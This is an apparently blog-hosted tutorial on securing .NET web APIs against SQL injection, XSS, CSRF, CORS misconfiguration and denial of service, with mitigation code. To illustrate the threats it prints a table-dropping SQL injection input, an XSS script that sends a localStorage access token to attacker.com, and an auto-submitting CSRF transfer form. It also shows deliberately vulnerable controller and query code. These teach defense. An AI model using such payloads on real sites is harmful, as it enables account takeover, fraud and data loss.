Introduction
If you're a web developer, you’re likely aware of the numerous threats that can compromise your web application. In this article, I’ll focus on some of the most common security risks that can impact your APIs and some key security principles. I will mainly highlight how to leverage .NET functionalitities to mitigate these threats, but this tecniques can be easily applied to any other language out there.
Here is the list of the topics I will cover:
- Authentication, Authorization and Permissions
- Secrets Management
- SQL Injection
- Cross-Site Scripting (XSS)
- Cross-Site Request Forgery (CSRF)
- Cross-Origin Resource Sharing (CORS)
- Denial of Service
- Encryption and HTTPS
- Third Party Dependencies
Authentication, Authorization and Permissions
Authentication and authorization are essential for securing any web API, making it crucial to implement them properly. I’ve previously written two articles on token-based authentication and authorization with .NET Identity, which you can check out if you're interested. Now, let’s dive into common security threats and how to mitigate them:
- Weak Authentication – user password policies can make accounts vulnerable to brute-force attacks
- Excessive Permissions – users with more privileges than necessary can exploit their access to damage the system
Mitigation strategies
- Use Third-Party Authentication Providers – rely on trusted providers like Google, Facebook, or Microsoft to enhance security
- Prevent User Enumeration – Limit users' visibility to only the accounts they need to interact with, reducing the risk of brute-force attacks
- Secure Your Own Authentication System – if managing authentication yourself: require strong, complex passwords, hash and encrypt passwords properly and, if possible, enforce multi-factor authentication (MFA)
- Implement Single Sign-On (SSO) – if you manage multiple applications within a suite, consider using an identity provider like Auth0 or hosting your own (e.g., Keycloak)
- Follow the Principle of Least Privilege (PoLP) – assign only the permissions necessary for users to complete their tasks. This is why I prefer claims-based and policy-based authorization over role-based authorization—they offer more flexibility in assigning precise access controls
Secrets Management
A strong authentication and authorization system is meaningless if your encryption keys or sensitive data are compromised.
The biggest risk is improper storage of application secrets, such as database connection strings, encryption keys, and API keys. Exposing these secrets can lead to serious security breaches.
Mitigation Strategies
- Secrets in Development – never commit secrets to source code. For local development, store them in a separate file that is excluded from version control. In .NET, you can use User Secrets to manage them securely
- Secrets in the Cloud – use cloud-native secret management solutions like Azure Key Vault or AWS Secrets Manager to store and protect sensitive information
- Secrets in On-Premise Setups – if running on-premises, store secrets in environment variables. While not as secure as a dedicated secret management system, you should ensure the server has additional security measures in place
SQL Injection
SQL Injection attacks happen when an API constructs a SQL query in an insecure way, allowing attackers to manipulate the query and potentially gain unauthorized access to the database.
For example, consider the following vulnerable query:
string query = "SELECT * FROM Users WHERE Username = '" + userInput + "'";
A malicious actor could send the following input: '; DROP TABLE Users; --
, which would effectively delete the Users table.
Mitigation strategies
- Limit Database Permissions – even if an injection occurs, restricting database privileges can minimize damage
- User parametrized queries - this ensures that the user input is treated as data and not as an executable SQL query
string query = "SELECT * FROM Users WHERE Username = @username";
using (SqlCommand cmd = new SqlCommand(query, connection))
{
cmd.Parameters.AddWithValue("@username", userInput);
//query execution
}
- Use ORMs (such as Entity Framework) - they generate safe queries automatically
//EF example
var user = db.Users.FirstOrDefault(u => u.Username == userInput);
Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS) vulnerabilities pose a significant threat to REST APIs, especially when they return data that will be rendered as HTML in the client's browser. If an API returns unsanitized user input, it can inadvertently allow attackers to inject malicious scripts into the website or application.
Consider a simple .NET Core Web API that handles user-submitted comments:
public record Comment
{
public string UserName { get; set; }
public string Content { get; set; }
}
[ApiController]
[Route("api/[controller]")]
public class CommentsController : ControllerBase
{
private static List<Comment> _comments = new List<Comment>();
[HttpPost]
public IActionResult Post([FromBody] Comment comment)
{
_comments.Add(comment);
return Ok();
}
[HttpGet]
public IActionResult Get()
{
return Ok(_comments);
}
}
In this example, the API simply returns user-submitted comments without any sanitization. If a user submits a comment containing malicious JavaScript:
<script>
// Retrieve the access token from localStorage
var accessToken = localStorage.getItem('access_token');
// Send the access token to the attacker's server
fetch('https://attacker.com/steal-token', {
method: 'POST',
body: JSON.stringify({ token: accessToken }),
headers: { 'Content-Type': 'application/json' }
});
</script>
This malicious script will execute once the comment is displayed in the client's browser, stealing the access token and sending it to the attacker's server.
Mitigation strategies
-
Server-side Sanitization - use a library like
HtmlSanitizer
to sanitize user input before storing or returning it. This ensures that any potentially harmful scripts are removed from the content
using Ganss.XSS;
[HttpPost]
public IActionResult Post([FromBody] Comment comment)
{
var sanitizer = new HtmlSanitizer();
comment.Content = sanitizer.Sanitize(comment.Content);
_comments.Add(comment);
return Ok();
}
Escape HTML characters - ensure that HTML characters are properly escaped when rendering data in the front end. Modern front-end frameworks like React or Angular do this by default, but developers should always double-check their frameworks' documentation to ensure proper sanitization
Implement Content Security Policy (CSP) - CSP is a browser feature that helps detect and mitigate certain types of attacks, including XSS. You can configure a CSP header to specify allowed sources for content, such as scripts, images, and styles, thus preventing the execution of untrusted scripts.
Example Nginx configuration:
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self';";
This configuration restricts the loading of content types (scripts, styles, images) to the same origin as the document, reducing the risk of XSS attacks.
- Validate user inputs – ensure that you validate user inputs, such as the length of strings and formats. I like to use the strategy of defense-in-depth and perform validations both on the front-end and the back-end. Front-end validation ensures that users get immediate feedback on their inputs, while back-end validation ensures that no corrupted data is saved in the database. The FluentValidation library is a great tool for validating user inputs in .NET
Cross-Site Request Forgery (CSRF)
Cross-Site Request Forgery (CSRF), also known as XSRF or session riding, is a web security vulnerability where a malicious website tricks a user into performing unintended actions on a trusted site where they're authenticated. This occurs because browsers automatically include authentication tokens, like cookies, with every request to a website.
Scenario: imagine a banking application that allows users to transfer funds by visiting a URL like:
https://your-vulnerable-bank.example.com/transfer
Attack steps:
- Crafting the Malicious Request - the attacker creates a hidden form on a malicious website that submits a request to the banking application:
<!DOCTYPE html>
<html>
<head>
<title>CSRF Attack Example</title>
</head>
<body>
<h1>Congratulations! You're a Winner! (Don't believe this)</h1>
<form id="csrf-form" action="https://your-vulnerable-bank.example.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker_account" />
<input type="hidden" name="amount" value="1000" />
</form>
<script>
// This script would automatically submit the form. In a real attack,
// this would likely be hidden or obfuscated.
window.onload = function() {
document.getElementById("csrf-form").submit();
};
</script>
</body>
</html>
- JavaScript code automatically submits the form upon page load, requiring no user interaction beyond visiting the malicious site. Hidden fields within the form contain the attacker's account and the transfer amount, concealing the transaction from the user
- The request will automatically proceed if the user has previously logged in and has the session cookie saved
Mitigation strategies
Never use GET requests to modify data or server state - GET requests that change data or server state are inherently insecure and vulnerable to CSRF attacks. A malicious site can easily trigger these GET requests, even by using a simple image tag, without any user interaction beyond visiting the malicious site. Because browsers automatically include authentication cookies with these requests, the server might unknowingly execute the unintended action
Setting the cookie with the
SameSite=Lax
attribute - allows the browser to send the cookie with top-level navigations initiated from external sites, such as when a user clicks on a link to your site from another domain. However, the browser will not send the cookie withsubresource
requests likeimages
oriframes
. This behavior helps prevent attackers from forging potential malicious POST requests. As long as your GET requests do not alter the server state, this approach should be sufficiently secure.User reauthentication for sensitive actions - this approach ensures that even if an attacker tricks a user into initiating a request, the sensitive action won't be completed without explicit user confirmation
Use token based authorization - modern web applications often use token-based authentication (like Bearer tokens stored in local storage) which are less susceptible to CSRF attacks than traditional cookie-based authentication. However, even with token-based authentication, care must be taken to prevent other vulnerabilities like XXS, which could allow attackers to steal the token from local storage
Use antiforgery tokens - if you have a web API that uses cookie based authentication consider using antiforgery tokens. These tokes are handled differently in traditional and modern web applications. Traditional apps use hidden form fields, while modern JavaScript apps and SPAs often use AJAX and thus require different methods like request headers or cookies. Storing authentication tokens in cookies creates a CSRF vulnerability. Local storage is a safer alternative because its contents aren't automatically sent with every request. The best practice for SPAs is to store the antiforgery token in local storage and include it as a custom request header in AJAX requests
Example implementation: Let's say you have the following scenario. You need to apply anti-forgery protection to the PayTax
method below. First, you need to expose an endpoint to your client application (this can also be done during user login) that generates an X-CSRF-TOKEN
, which is then added to the response headers and stored locally by the client's browser.
namespace DemoBackend.Controllers
{
[Route("api/[controller]")]
[ApiController]
public class TestSecurityController(IAntiforgery antiforgery) : ControllerBase
{
[HttpGet]
[Route("antiforgery-token")]
public IActionResult GetAntiForgeryToken()
{
var tokens = antiforgery.GetAndStoreTokens(HttpContext);
Response.Headers.Add("X-CSRF-TOKEN", tokens.RequestToken!);
return Ok();
}
[HttpPost]
[Route("pay-tax")]
public async Task<IActionResult> PayTax([FromBody] PayTaxRequest request)
{
try
{
await antiforgery.ValidateRequestAsync(HttpContext);
// Your action logic here
return Ok("Tax payed successfully");
}
catch (Exception ex)
{
return BadRequest(ex.Message);
}
}
}
public record PayTaxRequest
{
public string Name { get; init; }
public double Amount { get; init; }
}
}
Based on the configuration set inside AddAntiforgery
, the client app will need to include the X-CSRF-TOKEN
as a request header when calling the PayTax
method.
services.AddAntiforgery(options =>
{
options.HeaderName = "X-CSRF-TOKEN"; // Set the header name for the CSRF token
});
More information on this topic can be found here.
Cross-Origin Resource Sharing (CORS)
CORS is an HTTP-header based mechanism that allows a server to specify origins (domain, scheme, or port) other than its own from which a browser is permitted to load resources. When a web application makes a cross-origin HTTP request that is not a simple request, the browser performs a "preflight" request before the actual request. This preflight request, which uses the HTTP OPTIONS
method, checks whether the server permits the actual request. The browser sends headers indicating the HTTP method and headers that will be used in the actual request. This grants our server the flexibility to permit access to resources only if the request originates from a trusted source.
See the following article for reference.
Applying CORS policies in .NET
This can be easily configured as follows:
services.AddCors(options =>
{
options.AddDefaultPolicy(
policy =>
{
policy.WithOrigins("http://example.com", "http://www.contoso.com");
policy.WithMethods(["POST", "GET", "DELETE", "PUT", "PATCH", "OPTIONS"]);
policy.WithHeaders(["Content-Type", "Accept", "Authorization"]); ;
});
});
The code above configures CORS in an ASP.NET Core application. It establishes a default policy that permits HTTP requests from the specified origins — http://example.com
and http://www.contoso.com
. The policy allows HTTP methods such as POST, GET, DELETE, PUT, PATCH, and OPTIONS
, and permits headers including Content-Type, Accept, and Authorization
Don't forget to add the following middleware as well. Be careful to add the middlewares in the correct order:
app.UseCors();
Denial of Service (DoS)
The intent of a DoS attack isn't to compromise a system or server; its sole intent is to make the system unusable for other users. This is typically achieved by flooding traffic to a resource until the server's resources are exhausted. These attacks are rarely carried out from a single IP address because it can be easily blacklisted. They are usually launched from multiple coordinated resources — hence the name Distributed DoS (DDoS)
, often executed through a botnet controlled by the attacker.
There are various types of DoS attacks, usually targeting all levels of the network stack, such as ICMP attacks, TCP attacks, and more. However, I will focus only on application-layer attacks
.
Mitigation Strategies
Firewall Rules – this is the simplest way to secure your server. You can implement access control rules at various levels of the network layer. These rules can be set at the server level or, if using a cloud provider, at the provider level
Rate Limiting – this can be implemented at the web server level or within the API. As a proponent of the defense-in-depth strategy, I recommend setting rate limiting in both places. However, bear in mind that .NET rate limiting runs in memory so this might be an issue for memory intensive applications
Rate limiting in Nginx:
http {
# Define a shared memory zone for rate limiting
limit_req_zone $binary_remote_addr zone=req_limit_per_ip:10m rate=1r/s;
server {
# Apply rate limiting to all requests
limit_req zone=req_limit_per_ip burst=5;
# Proxy requests to the .NET API
location / {
proxy_pass http://your_dotnet_api_backend;
# Other proxy configurations...
}
}
}
Rate limiting in a .NET API:
services.AddRateLimiter(options =>
{
options.RejectionStatusCode = StatusCodes.Status429TooManyRequests;
options.AddFixedWindowLimiter("fixed", options =>
{
options.PermitLimit = 100; // Allow 100 requests
options.Window = TimeSpan.FromSeconds(60); // a minute window
options.QueueProcessingOrder = QueueProcessingOrder.OldestFirst;
options.QueueLimit = 0; // No queueing; reject excess requests
});
});
Register the rate limiting middleware. Again, be mindful of the correct middleware order.
app.UseRateLimiter();
Add the attribute to the controller/method that you apply rate liming to:
[HttpGet]
[Route("account-balance")]
[EnableRateLimiting("fixed")]
public IActionResult GetAccountBalance() => Ok("Total balance is 100");
- Building for Scale – This is especially important for larger projects. You can protect your services from DoS attacks by being prepared to handle significant surges in traffic. Some approaches that can help include offloading static content, caching database queries, using asynchronous processing (such as event brokers), and deploying across multiple web services. This can be easily achieved if your application is deployed, for example, to a managed Kubernetes service from a major cloud provider, which can spin up resources and distribute the load relatively effortlessly during busy periods
More on this topic can be found here.
Encryption and HTTPS
Encryption is mandatory for sensitive data. Some best practices include:
- Passwords and other private user data should be encrypted when stored in the database
- I also prefer encrypting everything sent to users via private email, such as password and email reset tokens embedded in site URLs. You can find an example of this in the following article
- Encryption algorithms constantly evolve. Ensure you're using the latest and most secure ones, as older algorithms may have vulnerabilities.
You can't talk about encryption on the web without mentioning HTTPS. Your web server must use HTTPS because, with HTTP, all in-transit data can be intercepted.
To configure HTTPS on a web service, obtain an SSL/TLS certificate from a trusted Certificate Authority (CA) or generate a self-signed certificate. Install the certificate on your web server and configure it to use HTTPS, updating the server configuration file to include the certificate and private key. Ensure port 443 is open in the firewall and configure any necessary redirects from HTTP to HTTPS.
Here is a great article on how to configure Nginx server with HTTPS.
Third Party Dependencies
Third-party libraries make our lives much easier, but they can also be a source of vulnerabilities that we don't control. We need to be very careful about which libraries we use. Here are some best practices when working with third-party dependencies:
- Use the Latest Versions - each language has a package management tool that can help you inspect the dependency tree and update dependencies to the latest versions. Keeping libraries up to date ensures you get the latest security patches
- Monitor Vulnerabilities - use tools like GitHub Dependabot to monitor vulnerabilities in third-party dependencies. Dependabot will notify you by email if any vulnerabilities are found in the dependencies you’re using
- Easily Deploy Patches - your build and deployment processes should be scripted and automated. This ensures that updates and patches can be quickly applied without manual intervention, helping to maintain security with minimal disruption. For instance, I love using Git Actions for my my personal projects
-
Secure External Services - if you're integrating third-party services (such as Google or Meta logins) into your API, ensure those services are also secured. Safeguard API keys, and if you're using
webhooks
, ensure they are secured. This can be done by having the third party send credentials or by validating requests from the service with a confirmation before processing - Operating System and Database Vulnerabilities - ensure that you can easily deploy security patches for your OS and database. If you're using a cloud service for IaaS, this will typically be handled automatically. However, if you're running your own server, patching can be more cumbersome, so it's essential to have a process in place to quickly deploy patches as soon as they're available
Conclusions
Security is a broad topic, and this article only scratches the surface of how to secure a web API. As web developers, it is our responsibility to stay informed about the latest security developments and earn the trust of our users.
We don’t need to reinvent the wheel; we simply need to adhere to common security principles and always keep security in mind while developing. Concepts like the principle of least privilege and defense in depth can help mitigate many issues from the very beginning of the development process. Writing code with a security mindset, keeping our secrets secure, and using the latest versions of third-party libraries are all within our control. Let’s make security a priority, just as we do with performance and coding standards.
Thank you for reading!
Top comments (0)